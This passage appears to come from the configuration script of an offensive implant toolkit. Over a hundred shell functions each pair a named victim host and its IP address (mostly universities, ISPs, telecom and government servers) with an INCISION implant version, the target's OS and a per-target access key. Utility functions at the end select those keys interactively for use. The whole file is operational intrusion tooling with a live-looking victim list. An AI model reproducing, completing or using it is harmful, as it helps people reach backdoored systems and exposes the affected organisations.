5e0c95b3" +} + +PITCHIMPAIR_____mail.tccn.edu.tw________________203.64.35.108() { +# PITCHIMPAIR___mail.tccn.edu.tw___203.64.35.108___20041018-114628 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2ac7d02e 3b342f0b 333bc759" +} + +PITCHIMPAIR_____mail.tpo.fi_____________________193.185.60.42() { +# PITCHIMPAIR___mail.tpo.fi___193.185.60.42___20020515-152758 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="a0cdadb7 1469cde5 4cbe7a44" +} + +PITCHIMPAIR_____mail.univaq.it__________________192.150.195.10() { +# PITCHIMPAIR___mail.univaq.it___192.150.195.10___20030728-140532 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b2713e94 e7d4ab0e bc859b1a" +} + +PITCHIMPAIR_____mail.utc21.co.kr________________211.40.103.194() { +# PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20050523-143213 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bf69a63f fa1e8e4e 922ad014" +} + +PITCHIMPAIR_____mail1.imtech.res.in_____________203.90.127.22() { +# PITCHIMPAIR___mail1.imtech.res.in___203.90.127.22___20050523-163201 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="b996d4a0 daf603d5 326257fb" +} + +PITCHIMPAIR_____mailer.ing.unirc.it_____________192.167.50.202() { +# PITCHIMPAIR___mailer.ing.unirc.it___192.167.50.202___20030728-150749 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="557f0bb4 240a7be1 dbfa0ebb" +} + +PITCHIMPAIR_____mailgw.idom.es__________________194.30.33.29() { +# PITCHIMPAIR___mailgw.idom.es___194.30.33.29___20050812-162609 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="50532db8 350bf5ef d3e67af6" +} + +PITCHIMPAIR_____matematica.univaq.it____________192.150.195.38() { +# PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b5e674e8 b6688253 9272a307" +} + +PITCHIMPAIR_____mbox.com.eg_____________________213.212.208.10() { +# PITCHIMPAIR___mbox.com.eg___213.212.208.10___20041119-101453 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bfed4ee4 a1d80857 45faf680" +} + +PITCHIMPAIR_____milko.stacken.kth.se____________130.237.234.3() { +# PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="904a9515 6aaf6e79 7cd2085d" +} + +PITCHIMPAIR_____moneo.upc.es____________________147.83.2.91() { +# PITCHIMPAIR___moneo.upc.es___147.83.2.91___20041202-201020 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="77e3faa7 94516ce4 e7789cdf" +} + +PITCHIMPAIR_____mtrader2.grupocorreo.es_________194.30.32.29() { +# PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20050310-182126 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="92722e8b 434d2b21 8dafb4ae" +} + +PITCHIMPAIR_____mxtpa.biglobe.net.tw____________202.166.255.103() { +# PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="222c40da 12db893a 45dc9286" +} + +PITCHIMPAIR_____myhome.elim.net_________________203.239.130.7() { +# PITCHIMPAIR___myhome.elim.net___203.239.130.7___20020313-133407 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="8ff62019 f4c6611f eb80eee7" +} + +PITCHIMPAIR_____newin.int.rtbf.be_______________212.35.107.2() { +# PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="6aae23fe 44ebf8a8 1f6f4927" +} + +PITCHIMPAIR_____niveau.math.uni-bremen.de_______134.102.124.201() { +# PITCHIMPAIR___niveau.math.uni-bremen.de ___134.102.124.201___20040503-185134 + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="0cf16c0c d81d5581 2e59b6d7" +} + +PITCHIMPAIR_____nl37.yourname.nl________________82.192.68.37() { +# PITCHIMPAIR___nl37.yourname.nl___82.192.68.37___20071217-120020 + ## INCISION Version:4.11.6.10 OS:i686-pc-linux-gnu-2.2.16C37_III + export TARG_AYT="c59c2d88 76744dbb 2fb28b35" +} + +PITCHIMPAIR_____noc25.corp.home.ad.jp___________203.165.5.82() { +# PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="01f00c47 66e80bec a4a9376c" +} + +PITCHIMPAIR_____noc33.corp.home.ad.jp___________203.165.5.74() { +# PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050706-090330 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="4e253f0e ae3a87c3 7ce6def7" +} + +PITCHIMPAIR_____noc35.corp.home.ad.jp___________203.165.5.114() { +# PITCHIMPAIR___noc35.corp.home.ad.jp___203.165.5.114___20050706-102150 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="50c9dc62 36b930cf 9d078c3c" +} + +PITCHIMPAIR_____noc37.corp.home.ad.jp___________203.165.5.117() { +# PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="49484ede ff2adb0b ba936f3e" +} + +PITCHIMPAIR_____noc38.corp.home.ad.jp___________203.165.5.118() { +# PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="88abf272 53a3c7dc 52095494" +} + +PITCHIMPAIR_____nodep.sun-ip.or.jp______________150.27.1.2() { +# PITCHIMPAIR___nodep.sun-ip.or.jp___150.27.1.2___20020417-152328 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a1f0b9e0 5884cf8d f495dbfd" +} + +PITCHIMPAIR_____noya.bupt.edu.cn________________202.112.96.2() { +# DIABLO___noya.bupt.edu.cn___202.112.96.2___20011022-132036 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="c3c721dd 77802f80 93b955d8" +} + +PITCHIMPAIR_____ns.anseo.dankook.ac.kr__________203.237.216.2() { +# PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="24da6c35 09155fce 8f4ec920" +} + +PITCHIMPAIR_____ns.bigobe.net.tw________________202.166.255.98() { +# PITCHIMPAIR___ns.bigobe.net.tw___202.166.255.98___20041022-125517 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="2c11e1e3 35bc836c fec18b08" +} + +PITCHIMPAIR_____ns.bur.hiroshima-u.ac.jp________133.41.145.11() { +# PITCHIMPAIR___ns.bur.hiroshima-u.ac.jp___133.41.145.11___20030708-114853 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="6ea29b22 d350e5f0 932b74bb" +} + +PITCHIMPAIR_____ns.cec.uchile.cl________________200.9.97.3() { +# PITCHIMPAIR___ns.cec.uchile.cl___200.9.97.3___20041020-213753 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="8f7c55be 1dffc9a5 8a591689" +} + +PITCHIMPAIR_____ns.chining.com.tw_______________202.39.26.50() { +# PITCHIMPAIR___ns.chining.com.tw___202.39.26.50___20041022-114055 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="bbef51da f5e991db 55275bfc" +} + +PITCHIMPAIR_____ns.eyes.co.kr___________________210.98.224.88() { +# PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="f94f7aa3 246662f1 e87dcb37" +} + +PITCHIMPAIR_____ns.gabontelecom.com_____________217.77.71.52() { +# PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="17d339d5 bcbf7447 d5f97fad" +} + +PITCHIMPAIR_____ns.global-one.dk________________194.234.33.5() { +# PITCHIMPAIR___ns.global-one.dk___194.234.33.5___20041102-170945 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="a77ed7ae ff8a1def a4a7f4c4" +} + +PITCHIMPAIR_____ns.hallym.ac.kr_________________210.115.225.11() { +# PITCHIMPAIR___ns.hallym.ac.kr___210.115.225.11___20030811-151127 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="be775dc5 0af32bc2 285af271" +} + +PITCHIMPAIR_____ns.hanseo.ac.kr_________________203.234.72.1() { +# PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="059a4645 034aadff 4a7db3fb" +} + +PITCHIMPAIR_____ns.hufs.ac.kr___________________203.253.64.1() { +# PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="dc150ab0 3b143979 747f4610" +} + +PITCHIMPAIR_____ns.icu.ac.kr____________________210.107.128.31() { +# PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="4d4a64ab 74c90cbd 1be8f03e" +} + +PITCHIMPAIR_____ns.ing.unirc.it_________________192.167.50.2() { +# PITCHIMPAIR___ns.ing.unirc.it___192.167.50.2___20030417-130101 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fa3c8afa 7b86200c 67246442" +} + +PITCHIMPAIR_____ns.khmc.or.kr___________________203.231.128.1() { +# PITCHIMPAIR___ns.khmc.or.kr___203.231.128.1___20030710-132145 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="36a5ef6d 52bf9844 870cbaa7" +} + +PITCHIMPAIR_____ns.kimm.re.kr___________________203.241.84.10() { +# PITCHIMPAIR___ns.kimm.re.kr___203.241.84.10___20040219-112228 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="1f9527ad 68b0d84c 03855ee3" +} + +PITCHIMPAIR_____ns.kix.ne.kr____________________202.30.94.10() { +# PITCHIMPAIR___ns.kix.ne.kr___202.30.94.10___20020607-104147 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a4c76aa5 fdf20deb 87fd54df" +} + +PITCHIMPAIR_____ns.rtn.net.mx___________________204.153.24.1() { +# PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="90513cb5 a3bbe85d 54c070a2" +} + +PITCHIMPAIR_____ns.stacken.kth.se_______________130.237.234.17() { +# PITCHIMPAIR___ns.stacken.kth.se___130.237.234.17___20031106-172718 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a86ee269 1fe0972b cfe3b1f7" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +PITCHIMPAIR_____ns.unam.mx______________________132.248.253.1() { +# PITCHIMPAIR___ns.unam.mx___132.248.253.1___20021202-145306 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="243d1ce0 2618f2e0 3f287db4" +} + +PITCHIMPAIR_____ns.univaq.it____________________192.150.195.20() { +# PITCHIMPAIR___ns.univaq.it___192.150.195.20___20030728-130223 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="cf5e8ab3 1ac35359 a181301a" +} + +PITCHIMPAIR_____ns.youngdong.ac.kr______________202.30.58.1() { +# PITCHIMPAIR___ns.youngdong.ac.kr___202.30.58.1___20040607-105509 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="67741d71 ce7681b8 56e94b9e" +} + +PITCHIMPAIR_____ns1.bangla.net__________________203.188.252.2() { +# PITCHIMPAIR_ns1.bangla.net__203.188.252.2__20050323-175921 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="829eb50f d0d18787 aa4d4cf5" +} + +PITCHIMPAIR_____ns1.btc.bw______________________168.167.168.34() { +# PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0537ac08 e35c67a7 984865ec" +} + +PITCHIMPAIR_____ns1.bttc.ru_____________________80.82.162.118() { +# PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="c7c079e5 85eee306 294f02c7" +} + +PITCHIMPAIR_____ns1.gx.chinamobile.com__________211.138.252.30() { +# PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="a4946d67 4e35eee5 89b17f82" +} + +PITCHIMPAIR_____ns1.ias.ac.in___________________203.197.183.66() { +# PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="af7f20bc 3d349a8f 1a132882" +} + +PITCHIMPAIR_____ns1.starnets.ro_________________193.226.61.68() { +# PITCHIMPAIR___ns1.starnets.ro___193.226.61.68___20041102-175718 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="204fe963 3c39bcd9 da18f868" +} + +PITCHIMPAIR_____ns1.sun-ip.or.jp________________150.27.1.8() { +# PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="065c1c74 dec7ce4f 6fffd6ac" +} + +PITCHIMPAIR_____ns1.youngdong.ac.kr_____________202.30.58.5() { +# PITCHIMPAIR___ns1.youngdong.ac.kr___202.30.58.5___19691231-190000 + ## INCISION Version:1.1.2.1 OS:hppa2.0w-hp-hpux11.00 + export TARG_AYT="NOT KEYED" +} + +PITCHIMPAIR_____ns2-backup.tpo.fi_______________193.185.60.40() { +# PITCHIMPAIR___ns2-backup.tpo.fi___193.185.60.40___20021010-101507 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7e63e6e 1e0bbfbd 95fcc780" +} + +PITCHIMPAIR_____ns2.ans.co.kr___________________210.126.104.74() { +# PITCHIMPAIR___ns2.ans.co.kr___210.126.104.74___20040316-114321 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6d34b00 8ff41929 77f6bc18" +} + +PITCHIMPAIR_____ns2.chem.tohoku.ac.jp___________130.34.115.132() { +# PITCHIMPAIR___ns2.chem.tohoku.ac.jp___130.34.115.132___20031027-132012 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="b15ddeeb 7a3d3528 601fa067" +} + +PITCHIMPAIR_____ns2.otenet.gr___________________195.170.2.1() { +# PITCHIMPAIR___ns2.otenet.gr___195.170.2.1___20020513-135956 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="06016d21 6c0b9610 e153452a" +} + +PITCHIMPAIR_____nsce1.ji-net.com________________203.147.62.229() { +# PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="84b8d198 d7058b04 787bab57" +} + +PITCHIMPAIR_____oiz.sarenet.es__________________192.148.167.17() { +# PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20011016-000000 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="12345678 9abcdef0 12345678" +} + +PITCHIMPAIR_____orhi.sarenet.es_________________192.148.167.5() { +# PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20030701-144321 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="f0301471 98e4aa69 60d99234" +} + +PITCHIMPAIR_____pastow.e-technik.uni-rostock.de_139.30.200.36() { +# PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="d85e40b8 17b797a0 7175ffd0" +} + +PITCHIMPAIR_____pfdsun.kuicr.kyoto-u.ac.jp______133.3.5.2() { +# INTONATION___pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2___20020702-135908 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1b1509e 818ca176 fdc324dd" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} + +PITCHIMPAIR_____pitepalt.stacken.kth.se_________130.237.234.151() { +# PITCHIMPAIR___pitepalt.stacken.kth.se___130.237.234.151___20040929-184655 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="3fdbfa28 8814fd26 db99cc78" +} + +PITCHIMPAIR_____proxy1.tcn.ed.jp________________202.231.176.242() { +# PITCHIMPAIR___proxy1.tcn.ed.jp___202.231.176.242___20050815-150857 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="17be0dd5 df71b5c4 febb1811" +} + +PITCHIMPAIR_____rabbit.uj.edu.pl________________149.156.89.33() { +# PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f28ab17d dd772038 eae33e1b" +} + +PITCHIMPAIR_____s03.informatik.uni-bremin.de____134.102.201.53() { +# PITCHIMPAIR___s03.informatik.uni-bremin.de___134.102.201.53___20040309-184913 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a18bce43 389dca2a 765eb66d" +} + +PITCHIMPAIR_____saturn.mni.fh-giessen.de________212.201.7.21() { +# PITCHIMPAIR___saturn.mni.fh-giessen.de___212.201.7.21___20041202-223050 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="43f68770 91377c9f bd9f7feb" +} + +PITCHIMPAIR_____sci.s-t.au.ac.th________________168.120.9.1() { +# PITCHIMPAIR___sci.s-t.au.ac.th___168.120.9.1___20020501-104838 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="082fefdd 88678c58 39cf6a9c" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} + +PITCHIMPAIR_____scsun25.unige.ch________________129.194.49.47() { +# PITCHIMPAIR___scsun25.unige.ch___129.194.49.47___20040309-164903 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="a8c58620 9fe14156 050245a7" +} + +PITCHIMPAIR_____seoildsp.co.kr__________________218.36.28.250() { +# PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="5f70a916 3f4ab64a 6659ef8d" +} + +PITCHIMPAIR_____servidor2.upc.es________________147.83.2.3() { +# INTONATION___servidor2.upc.es___147.83.2.3___20020214-203036 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="3ee4ba5a 21cdbc29 56bf444e" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +PITCHIMPAIR_____smuc.smuc.ac.kr_________________203.237.176.1() { +# PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551 + ## INCISION Version:4.10.2.16 OS:sparc-sun-solaris2.9 + export TARG_AYT="5ae19c18 3712bbc3 6c3da38e" +} + +PITCHIMPAIR_____snacks.stacken.kth.se___________130.237.234.152() { +# PITCHIMPAIR___snacks.stacken.kth.se___130.237.234.152___20040929-194106 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="4abd95ea 9c717544 8fc65152" +} + +PITCHIMPAIR_____son-goki.sun-ip.or.jp___________150.27.1.11() { +# PITCHIMPAIR___son-goki.sun-ip.or.jp___150.27.1.11___20020503-112843 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c7ec86d5 483191b8 968549a2" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} + +PITCHIMPAIR_____sparc20mc.ing.unirc.it__________192.167.50.12() { +# PITCHIMPAIR___sparc20mc.ing.unirc.it___192.167.50.12___20030728-162858 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="3cbe3269 72239859 87c08d89" +} + +PITCHIMPAIR_____spin.lzu.edu.cn_________________202.201.0.131() { +# PITCHIMPAIR___spin.lzu.edu.cn___202.201.0.131___20060329-121203 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="319e4fff d73ca482 505203d0" +} + +PITCHIMPAIR_____splash-atm.upc.es_______________147.83.2.116() { +# PITCHIMPAIR___splash-atm.upc.es___147.83.2.116___20020214-223010 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="5350ff15 689693ae ec1946b9" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +PITCHIMPAIR_____sun.bq.ub.es____________________161.116.154.1() { +# PITCHIMPAIR___sun.bq.ub.es___161.116.154.1___20020523-221508 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="9bcd984f 684c80d3 8f88ff47" +} + +PITCHIMPAIR_____sunbath.rrze.uni-erlangen.de____131.188.3.200() { +# PITCHIMPAIR___sunbath.rrze.uni-erlangen.de___131.188.3.200___20050309-182517 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="e8c27050 b174b79a e9251c76" +} + +PITCHIMPAIR_____sunfirev250.cancilleria.gob.ni__165.98.181.5() { +# PITCHIMPAIR___sunfirev250.cancilleria.gob.ni___165.98.181.5___20070323-083334 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="fce700a8 1ce9df01 aa2e1457" +} + +PITCHIMPAIR_____tamarugo.cec.uchile.cl__________200.9.97.3() { +# PITCHIMPAIR___tamarugo.cec.uchile.cl___200.9.97.3___20061208-070727 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="9cd50ff4 e8be0042 b79a82e9" +} + +PITCHIMPAIR_____tayuman.info.com.ph_____________203.172.11.21() { +# PITCHIMPAIR___tayuman.info.com.ph___203.172.11.21___20031027-173055 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="930e7947 b53525b6 631e4330" +} + +PITCHIMPAIR_____theta.uoks.uj.edu.pl____________149.156.89.30() { +# PITCHIMPAIR___theta.uoks.uj.edu.pl___149.156.89.30___20050705-175454 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="013d06f7 fcceea49 2d2693ad" +} + +PITCHIMPAIR_____tologorri.grupocorreo.es________194.30.32.109() { +# PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="b29e4b51 88af0b1f 79067ede" +} + +PITCHIMPAIR_____tuapewa.polytechnic.edu.na______196.31.225.2() { +# PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20050331-163949 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="0c70d658 a342495a dd4e802c" +} + +PITCHIMPAIR_____uji.kyoyo-u.ac.jp_______________133.3.5.33() { +# PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="2f2882df 9c1d23ac 078a7a09" +} + +PITCHIMPAIR_____ultra10.nanya.edu.tw____________203.68.40.6() { +# PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="df07f4a6 014490d7 43c80581" +} + +PITCHIMPAIR_____unknown.unknown_________________555.10.31.145() { +# PITCHIMPAIR___unknown.unknown___555.10.31.145___20060811-141834 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="5fee1cde b7151aba ad895e9c" +} + +PITCHIMPAIR_____v244.kyoyo-u.ac.jp______________133.3.5.33() { +# PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d6e72df 4c5f1c9f c4370584" +} + +PITCHIMPAIR_____v246.kyoyo-u.ac.jp______________133.3.5.2() { +# PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="dfa4c164 0eb005f3 82a38dc8" +} + +PITCHIMPAIR_____war.rkts.com.tr_________________195.142.144.125() { +# GRAPEUNIQUE___war.rkts.com.tr___195.142.144.125___20011101-171614 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="70ef9240 4eb54947 fc951434" +} + +PITCHIMPAIR_____webmail.s-t.au.ac.th____________168.120.9.2() { +# PITCHIMPAIR___webmail.s-t.au.ac.th___168.120.9.2___20020507-121447 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="31755052 1ca39d1f 7b15448a" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} + +PITCHIMPAIR_____win.hallym.ac.kr________________210.115.225.17() { +# PITCHIMPAIR___win.hallym.ac.kr___210.115.225.17___20050308-131417 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="ad31401a 1f0e2874 fcf516a7" +} + +PITCHIMPAIR_____winner.hallym.ac.kr_____________210.115.225.10() { +# PITCHIMPAIR___winner.hallym.ac.kr___210.115.225.10___20050408-132327 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="4885787a 9605002b 61107b5f" +} + +PITCHIMPAIR_____winners.yonsei.ac.kr____________210.115.225.14() { +# PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3de8747f 02deca99 6eb06696" +} + +PITCHIMPAIR_____www.bygden.nu___________________192.176.10.178() { +# PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204 +# PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d7bb39c 2e7b6bc4 b501921a" +} + +PITCHIMPAIR_____www.cfd.or.jp___________________210.198.16.75() { +# PITCHIMPAIR___www.cfd.or.jp___210.198.16.75___20041130-110333 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="5c0aa1e9 3b8b84da 5af135e1" +} + +PITCHIMPAIR_____www.pue.uia.mx__________________192.100.196.7() { +# PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="e0453c36 6d027b6d 82699277" +} + +PITCHIMPAIR_____zanburu.grupocorreo.es__________194.30.32.113() { +# PITCHIMPAIR___zanburu.grupocorreo.es___194.30.32.113___20040614-190127 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="277a7150 faa87f10 d64f01cc" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} + +TEST____________bob.bob.com_____________________1.2.3.4() { +# TEST___bob.bob.com___1.2.3.4___20070907-111900 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="3a098dbb 3ed7c38a 3be9659b" +} + +TEST____________test.test_______________________1.2.3.4() { +# TEST___test.test___1.2.3.4___20060721-155412 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="e3637fba a7d9dd40 95a01656" +} + +########## 231 INCISION keys included above ########## + + +## +## Utility functions +## + +setupkeys() { + local host=$1 + + case $host in + -h | -? ) usage ;; + * ) + if [ $keys ]; then + $keys + return + fi + + echo + echo -e "\t--- Select target keys ---" + echo + + PS3=$(echo -e "\nkeys? ") + select keyinitfct in $keylist; do + if [ $keyinitfct ]; then + $keyinitfct + break + else + echo "Select a listed number." + echo + fi + done + ;; + esac +} + +ckupgrade() { + if [ ${O_TARG_AYT:+1} ]; then + echo -n "Do you want to use the old keys? [n] " + read ans + if [ ${ans:-"n"} = "y" ]; then + export TARG_AYT_new=$TARG_AYT + export TARG_AYT=$O_TARG_AYT + fi 